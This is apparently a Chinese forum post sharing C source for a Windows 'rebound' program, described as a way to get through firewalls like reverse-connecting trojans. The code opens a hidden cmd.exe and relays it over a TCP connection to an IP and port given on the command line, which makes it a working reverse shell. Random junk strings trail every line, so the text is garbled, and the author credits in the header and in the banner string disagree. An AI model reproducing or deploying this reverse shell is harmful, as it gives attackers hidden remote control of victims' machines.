这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5WrIg(l
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/* ============================== n23%[#,r
Rebound port in Windows NT
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By wind,2006/7 3:l: ~Vn
===============================*/ +H2m<
#include xMO[3D&D
#include g] 7{5
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#pragma comment(lib,"wsock32.lib") lq7 8gOg{
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void OutputShell(); Y^*Lh/:h
SOCKET sClient; A &X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; uOivnJ?
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void main(int argc,char **argv) B;Q`vKY
{ yoq\9* ?u^
WSADATA stWsaData; ^VM"!O;h{
int nRet;
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SOCKADDR_IN stSaiClient,stSaiServer; s=
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1[fkXO{
if(argc != 3) 1Ovx$*
{ KNO*)\
printf("Useage:\n\rRebound DestIP DestPort\n"); op.PS{_t
return; 3[00-~&U
} 'PmHBQvt&
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WSAStartup(MAKEWORD(2,2),&stWsaData); bv:0EdVr
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y%n{`9=
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stSaiClient.sin_family = AF_INET; S\yu%=h
stSaiClient.sin_port = htons(0); \S|VkPv
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); df21t^0/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *Dd(+NI
{
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printf("Bind Socket Failed!\n"); HlOAo:8'
return; k=ior
} o}r!qL0c
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stSaiServer.sin_family = AF_INET; ".*a)
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !DY2{Wb
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l"~h1xk~
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !"o1ve`{
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printf("Connect Error!"); +Zty}fe
return; kG|>_5
} ';fU.uy
OutputShell(); dcrJ,>i}
} ^Yf)lV&[
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void OutputShell() fmZzBZ_
{ |2+F I<v4
char szBuff[1024]; {=pP`HD0
SECURITY_ATTRIBUTES stSecurityAttributes; z</XnN
OSVERSIONINFO stOsversionInfo; Muc*?wB`
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V;[__w
STARTUPINFO stStartupInfo; y$r?t0
char *szShell; G}9bCr,
PROCESS_INFORMATION stProcessInformation; a-UD_|!
unsigned long lBytesRead; I2Or&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hjo:;s
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^~YmLI4
stSecurityAttributes.lpSecurityDescriptor = 0; 7y)|^4X2
stSecurityAttributes.bInheritHandle = TRUE; q)z1</B-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Ekg N6S`}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); BHRrXC\
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }~Kyw7?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b/D9P~cE
stStartupInfo.wShowWindow = SW_HIDE; 4<eJ
stStartupInfo.hStdInput = hReadPipe; zYgK$u^H
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Is*0?9qU
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GetVersionEx(&stOsversionInfo); AIRVvW~($
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switch(stOsversionInfo.dwPlatformId) Sj]T{3mi
{ MIua\:xT
case 1: m?kIa!GM=
szShell = "command.com"; 7Hr4yh[j&
break; Jz:W-o
default: Y"]e H{
szShell = "cmd.exe"; [y&h_w.
break; @gl%A&a
} w3]0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'mY,>#sT
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send(sClient,szMsg,77,0); "`1of8$X7
while(1) W)Kpnb7
{ #9W5
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PUFW^"LV
if(lBytesRead) .o,51dn+ s
{ w]+BBGYQKb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?` ZGM
send(sClient,szBuff,lBytesRead,0); ZC\.};.
}
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else o4I!VK(C#s
{ &0<R:K ?>N
lBytesRead=recv(sClient,szBuff,1024,0); XKPt[$ab
if(lBytesRead<=0) break; A](}"Pi!n
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Iy1Xn S*
} s%TO(vT
} @*`UOgP7
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return; G]3ML)l
}